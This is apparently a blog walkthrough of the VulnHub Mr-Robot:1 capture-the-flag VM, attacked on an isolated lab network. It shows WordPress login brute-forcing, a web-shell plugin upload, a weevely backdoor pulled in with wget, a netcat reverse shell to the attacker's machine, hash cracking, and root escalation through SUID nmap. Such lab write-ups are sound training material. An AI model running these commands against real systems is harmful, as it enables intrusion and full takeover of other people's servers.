I’m checking out another vulnhub challenge. This one is call Mr-Robot:1. Here is the description
Based on the show, Mr. Robot. This VM has three keys hidden in different locations. Your goal is to find all three. Each key is progressively difficult to find. The VM isn't too difficult. There isn't any advanced exploitation or reverse engineering. The level is considered beginner-intermediate.
I’m a fan of the show so this should be fun. I start by connecting the vm to my isolated network and scan it with nmap.
nmap -n -A -p 1-65535 10.5.5.110
Starting Nmap 7.00 ( https://nmap.org ) at 2016-08-07 11:04 EDT Nmap scan report for 10.5.5.110 Host is up (0.00082s latency). Not shown: 65532 filtered ports PORT STATE SERVICE VERSION 22/tcp closed ssh 80/tcp open http Apache httpd |_http-server-header: Apache |_http-title: Site doesn't have a title (text/html). 443/tcp open ssl/http Apache httpd |_http-server-header: Apache |_http-title: Site doesn't have a title (text/html). | ssl-cert: Subject: commonName=www.example.com | Not valid before: 2015-09-16T10:45:03 |_Not valid after: 2025-09-13T10:45:03 MAC Address: 08:00:27:A2:4E:38 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 3.X OS CPE: cpe:/o:linux:linux_kernel:3 OS details: Linux 3.10 - 3.19 Network Distance: 1 hop TRACEROUTE HOP RTT ADDRESS 1 0.82 ms 10.5.5.110 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 123.00 seconds
No suprises here. It looks like a website is hosted on 80 and 443. Also ssh is enabled. I go checkout the website.
The homepage starts a cool animation that looks like a linux machine booting. Then it prints me a message and looks like it’s asking for input. I go through each of the options and video clips and images show that all relate to the show. The last option “join” presents me with the following.
I feed it a fake email and it tells me that it will be in touch. I hope that’s not required because I’m not feeding my email address into this thing or giving it an internet connection…
I run Nikto to see if there are any obvious vulnerabilities on the web server.
nikto -host 10.5.5.110
- Nikto v2.1.6 --------------------------------------------------------------------------- + Target IP: 10.5.5.110 + Target Hostname: 10.5.5.110 + Target Port: 80 + Start Time: 2016-08-07 11:28:19 (GMT-4) --------------------------------------------------------------------------- + Server: Apache + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type + Retrieved x-powered-by header: PHP/5.5.29 + No CGI Directories found (use '-C all' to force check all possible dirs) + Server leaks inodes via ETags, header found with file /robots.txt, fields: 0x29 0x52467010ef8ad + Uncommon header 'tcn' found, with contents: list + Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. See http://www.wisec.it/sectou.php?id=4698ebdc59d15. The following alternatives for 'index' were found: index.html, index.php + OSVDB-3092: /admin/: This might be interesting... + OSVDB-3092: /readme: This might be interesting... + Uncommon header 'link' found, with contents: <http://10.5.5.110/?p=23>; rel=shortlink + /wp-links-opml.php: This WordPress script reveals the installed version. + OSVDB-3092: /license.txt: License file found may identify site software. + /admin/index.html: Admin login page/section found. + Cookie wordpress_test_cookie created without the httponly flag + /wp-login/: Admin login page/section found. + /wordpress/: A WordPress installation was found. + /wp-admin/wp-login.php: WordPress login found + /blog/wp-login.php: WordPress login found + /wp-login.php: WordPress login found + 7517 requests: 0 error(s) and 18 item(s) reported on remote host + End Time: 2016-08-07 11:33:04 (GMT-4) (285 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
That provided some useful pointers. It looks like there is a wordpress blog installed. I start poking around in the pages Nikto discovered.
When I look at /license.txt I get this response
“what you do just pull code from Rapid9 or some s@#% since when did you become a script kitty?”
Ok now I’m determined to beat this thing!
I take a look at robots.txt and find the following
User-agent: * fsocity.dic key-1-of-3.txt
Cool key #1 and a dictionary file. I go checkout both. The key is a hash “073403c8a58a1f80d943455fb30724b9”. The dictionary file is exactly what it sounds like. It’s a list of possible passwords. I can probably use this to attack some services on the server.
I want to go after the wordpress server so I try enumerating usernames with wpscan.
wpscan -u 10.5.5.110/wordpress/ -e u
[+] Enumerating usernames ... [+] We did not enumerate any usernames
Bummer. I guess I’ll need to figure out a username on my own. I create a list including the usual suspects. Then I google “Mr Robot Characters” and include different versions of their names.
admin root wpadmin administrator superuser webadmin ElliotAlderson MrRobot Darlene AngelaMoss TyrellWellick JoannaWellick PhillipPrice EAlderson MRobot Darlene AMoss TWellick JWellick PPrice Alderson Robot arlene Moss Wellick Wellick Price Elliot Darlene Angela Tyrell Joanna Philli
I use burp intruder to try each username on the wordpress login page.
Elliot returned a different response to the other usernames. When I examine the response it says “The password you entered for the username elliot is incorrect.” So that looks to be a valid username. Now I use wpscan to try the dictionary file to brute force the elliot password. It’s going incredibly slow and I notice that the dictionary file is 858k lines long… To see if it can be shrunk at all I try removing any duplicates.
sort fsocity.dic | uniq > Unique.dic
This shrinks the list to 11k. That should speed things up a little so I start the attack again.
wpscan --url http://10.5.5.110 --wordlist ~/Documents/mrrobot/Unique.dic --username elliot
_______________________________________________________________ __ _______ _____ \ \ / / __ \ / ____| \ \ /\ / /| |__) | (___ ___ __ _ _ __ \ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \ \ /\ / | | ____) | (__| (_| | | | | \/ \/ |_| |_____/ \___|\__,_|_| |_| WordPress Security Scanner by the WPScan Team Version 2.8 Sponsored by Sucuri - https://sucuri.net @_WPScan_, @ethicalhack3r, @erwan_lr, pvdl, @_FireFart_ _______________________________________________________________ [i] It seems like you have not updated the database for some time. [?] Do you want to update now? [Y]es [N]o [A]bort, default: [N]N [+] URL: http://10.5.5.110/ [+] Started: Mon Aug 15 19:37:28 2016 [+] robots.txt available under: 'http://10.5.5.110/robots.txt' [+] Interesting header: SERVER: Apache [+] Interesting header: X-FRAME-OPTIONS: SAMEORIGIN [+] Interesting header: X-MOD-PAGESPEED: 22.214.171.124-4523 [+] XML-RPC Interface available under: http://10.5.5.110/xmlrpc.php [+] WordPress version 4.3.1 identified from rss generator [+] Enumerating plugins from passive detection ... [+] No plugins found [+] Starting the password brute forcer Brute Forcing 'elliot' Time: 00:01:58 <================================== > (5625 / 11452) 49.11% ETA: 00:02:03 [+] [SUCCESS] Login : elliot Password : ER28-0652 +----+--------+------+-----------+ | Id | Login | Name | Password | +----+--------+------+-----------+ | | elliot | | ER28-0652 | +----+--------+------+-----------+ [+] Finished: Mon Aug 15 19:39:27 2016 [+] Requests Done: 5685 [+] Memory used: 8.109 MB [+] Elapsed time: 00:01:59
Now I can login to wordpress and see what’s there. A few things look promising. First I see a second user account called mich05654 with the email account email@example.com. Under the “about” section of the user it says “another key?”. Second I see a lot of pictures in the media section. Finally it looks like elliot is the wpadmin so I could probably install a wordpress plugin to run server side code.
I decide it’s probably best to focus on the mich05654 account for now since it references a flag. I the username through wpscan just like elliot and I get the password
+----+-----------+------+------------+ | Id | Login | Name | Password | +----+-----------+------+------------+ | | mich05654 | | Dylan_2791 | +----+-----------+------+------------+
Maybe this will come in handy later but it doesn’t do much for me now. I decide to try and get a shell on the server using the wordpress plugins. I download the git repo for Laceratus’s wp-shell-plugin
git clone https://github.com/Laceratus/wp-shell-plugin
Cloning into 'wp-shell-plugin'... remote: Counting objects: 6, done. remote: Compressing objects: 100% (5/5), done. remote: Total 6 (delta 0), reused 6 (delta 0), pack-reused 0 Unpacking objects: 100% (6/6), done. Checking connectivity... done.
Now I zip the file since wordpress expects plugins to be uploaded as a zip file.
zip wp-shell-plugin wp-shell-plugin.php && ls
adding: wp-shell-plugin.php (deflated 71%) README.md wp-shell-plugin.php wp-shell-plugin.zip
Then I browse to the plugins section of wordpress and click “Add New” followed by “Upload Plugin”. I browse to my zipped file and let the upload run.
This plugin should not be activated. Now I can browse to uploaded plugin and access the web shell.
So I can execute remote commands but it’s easier to work in an interactive terminal so I decide to also upload a weevely backdoor. I generate a backdoor and share it via apache on my kali machine.
weevely generate secret_password /var/www/html/backdoor.txt && /etc/init.d/apache2 start
Generated backdoor with password 'secret_password' in '/var/www/html/backdoor.txt' of 1446 byte size. [ ok ] Starting apache2 (via systemctl): apache2.service.
Next using the webshell I find a folder which allows read/write access and is shared by the wordpress server. It looks like “/opt/bitnami/apps/wordpress/htdocs/wp-content/plugins/simple-tags” is a good target. So I execute the following command using the webshell to upload the backdoor
wget -O /opt/bitnami/apps/wordpress/htdocs/wp-content/plugins/simple-tags/backdoor.php http://10.5.5.200/backdoor.txt
I fireup weevely again and connect to the backdoor.
weevely terminal http://10.5.5.110/wp-content/plugins/simple-tags/backdoor.php secret_password
[+] weevely 3.2.0 [+] Target: 10.5.5.110 [+] Session: /root/.weevely/sessions/10.5.5.110/backdoor_0.session [+] Browse the filesystem or execute commands starts the connection [+] to the target. Type :help for more information. weevely> whoami daemon daemon@linux:/opt/bitnami/apps/wordpress/htdocs/wp-content/plugins/simple-tags $
Great that should make working on the server easier. I start poking around the server and find that the /home/robot folder has read access for all users. I take a look in the folder and find some juicy files.
ls -al /home/robot
total 16 drwxr-xr-x 2 root root 4096 Nov 13 2015 . drwxr-xr-x 3 root root 4096 Nov 13 2015 .. -r-------- 1 robot robot 33 Nov 13 2015 key-2-of-3.txt -rw-r--r-- 1 robot robot 39 Nov 13 2015 password.raw-md5
I can’t read the key file yet because I don’t have permissions but the md5 file has read access for all. I get the contents of the file.
I startup a john attack on the hash. I use the dictionary that I downloaded earlier but I don’t get any hits. I run john again using the rockyou dictionary.
john --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5 hash2.txt
Using default input encoding: UTF-8 Loaded 1 password hash (Raw-MD5 [MD5 128/128 SSE2 4x3]) Press 'q' or Ctrl-C to abort, almost any other key for status abcdefghijklmnopqrstuvwxyz (?) 1g 0:00:00:02 DONE (2016-08-22 11:42) 0.3623g/s 14639p/s 14639c/s 14639C/s abygail..TERRELL Use the "--show" option to display all of the cracked passwords reliably Session completed
So the password for robot is probably “abcdefghijklmnopqrstuvwxyz”. There is no direct ssh access to the server so I try elevating my session to the robot user. My shell isn’t interactive so it’s not working. I find that netcat is installed on the server but it isn’t the version that supports -e so I can’t use it to spawn a better shell. Instead I upload my own version of nc and send a reverse shell to my machine.
cd /tmp/ wget http://10.5.5.200/nc ./nc -e /bin/sh 10.5.5.200 8888
This shell isn’t interactive either but it’s very easy to escelate to an interactive shell using a python trick.
python -c 'import pty; pty.spawn("/bin/bash")'
Finally I can try elevating to the robot user
su robot Password: abcdefghijklmnopqrstuvwxyz
Alright. Now I can checkout key2.
Two down 1 to go. I figure the next step is to escelate to root. I start going through the best damn priv escelation cheat sheet over at the g0tm1lk blog. At one point I run a search for files that have the suid bit and are owned by root.
find / -perm -u=s -type f 2>/dev/null
/bin/ping /bin/umount /bin/mount /bin/ping6 /bin/su /usr/bin/passwd /usr/bin/newgrp /usr/bin/chsh /usr/bin/chfn /usr/bin/gpasswd /usr/bin/sudo /usr/local/bin/nmap /usr/lib/openssh/ssh-keysign /usr/lib/eject/dmcrypt-get-device /usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper /usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper /usr/lib/pt_chown
Suprisingly nmap comes back in the list. This is not normal and has to be exploitable somehow. I run nmap -h and look at all of the options.
Nmap 3.81 Usage: nmap [Scan Type(s)] [Options]
Some Common Scan Types ('*' options require root privileges) * -sS TCP SYN stealth port scan (default if privileged (root)) -sT TCP connect() port scan (default for unprivileged users) * -sU UDP port scan -sP ping scan (Find any reachable machines) * -sF,-sX,-sN Stealth FIN, Xmas, or Null scan (experts only) -sV Version scan probes open ports determining service & app names/versions -sR RPC scan (use with other scan types) Some Common Options (none are required, most can be combined): * -O Use TCP/IP fingerprinting to guess remote operating system -p ports to scan. Example range: 1-1024,1080,6666,31337 -F Only scans ports listed in nmap-services -v Verbose. Its use is recommended. Use twice for greater effect. -P0 Don't ping hosts (needed to scan www.microsoft.com and others) * -Ddecoy_host1,decoy2[,...] Hide scan using many decoys -6 scans via IPv6 rather than IPv4 -T General timing policy -n/-R Never do DNS resolution/Always resolve [default: sometimes resolve] -oN/-oX/-oG Output normal/XML/grepable scan logs to -iL Get targets from file; Use '-' for stdin * -S /-e Specify source address or network interface --interactive Go into interactive mode (then press h for help) Example: nmap -v -sS -O www.my.com 192.168.0.0/16 '192.88-90.*.*' SEE THE MAN PAGE FOR MANY MORE OPTIONS, DESCRIPTIONS, AND EXAMPLES
This stumped me for a bit. I’ve used nmap alot and never noticed the –interactive option. I go into interactive mode (which is running as root because of suid). Then I run h for help.
nmap --interactive h
Nmap Interactive Commands: n
-- executes an nmap scan using the arguments given and waits for nmap to finish. Results are printed to the screen (of course you can still use file output commands). ! -- runs shell command given in the foreground x -- Exit Nmap f [--spoof ] [--nmap_path ] -- Executes nmap in the background (results are NOT printed to the screen). You should generally specify a file for results (with -oX, -oG, or -oN). If you specify fakeargs with --spoof, Nmap will try to make those appear in ps listings. If you wish to execute a special version of Nmap, specify --nmap_path. n -h -- Obtain help with Nmap syntax h -- Prints this help screen. Examples: n -sS -O -v example.com/24 f --spoof "/usr/local/bin/pico -z hello.c" -sS -oN e.log example.com/24
Interesting. It looks like ! can be used to run shell commands.
Nice. I checkout the root folder.
! ls -al /root/
total 32 drwx------ 3 root root 4096 Nov 13 2015 . drwxr-xr-x 22 root root 4096 Sep 16 2015 .. -rw------- 1 root root 4058 Nov 14 2015 .bash_history -rw-r--r-- 1 root root 3274 Sep 16 2015 .bashrc drwx------ 2 root root 4096 Nov 13 2015 .cache -rw-r--r-- 1 root root 0 Nov 13 2015 firstboot_done -r-------- 1 root root 33 Nov 13 2015 key-3-of-3.txt -rw-r--r-- 1 root root 140 Feb 20 2014 .profile -rw------- 1 root root 1024 Sep 16 2015 .rnd
And I grab the last key
! cat /root/key-3-of-3.txt